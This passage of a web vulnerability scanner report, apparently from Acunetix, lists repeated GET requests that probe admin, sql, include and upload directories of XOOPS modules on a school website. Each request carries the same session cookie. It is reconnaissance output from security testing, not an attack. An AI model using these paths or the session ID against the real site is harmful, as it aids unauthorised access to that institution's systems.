nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers



GET /modules/profile/include HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers

GET /modules/tad_player/admin HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers



GET /modules/tad_player/sql HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers

GET /modules/tad_player/include HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers



GET /modules/tad_link/admin HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers

GET /modules/tad_link/sql HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers



GET /modules/tad_link/include HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers

GET /modules/tad_login/admin HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers



GET /modules/tad_login/sql HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers

GET /modules/tad_login/include HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers



GET /modules/tadgallery/admin HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers

GET /modules/tadgallery/sql HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers



GET /modules/tadgallery/include HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers

GET /modules/tadtools/upload HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers



GET /modules/tadtools/admin HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers

GET /modules/tadtools/sql HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers



GET /modules/tadtools/include HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers

GET /modules/tadtools/ckeditor HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers



GET /modules/tad_lunch3/admin HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers

GET /modules/tad_lunch3/sql HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers



GET /modules/tad_lunch3/include HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers

GET /modules/tad_idioms/admin HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers



GET /modules/tad_idioms/sql HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers

GET /modules/tad_idioms/include HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers



GET /modules/tadnews/admin HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers

GET /modules/tadnews/sql HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
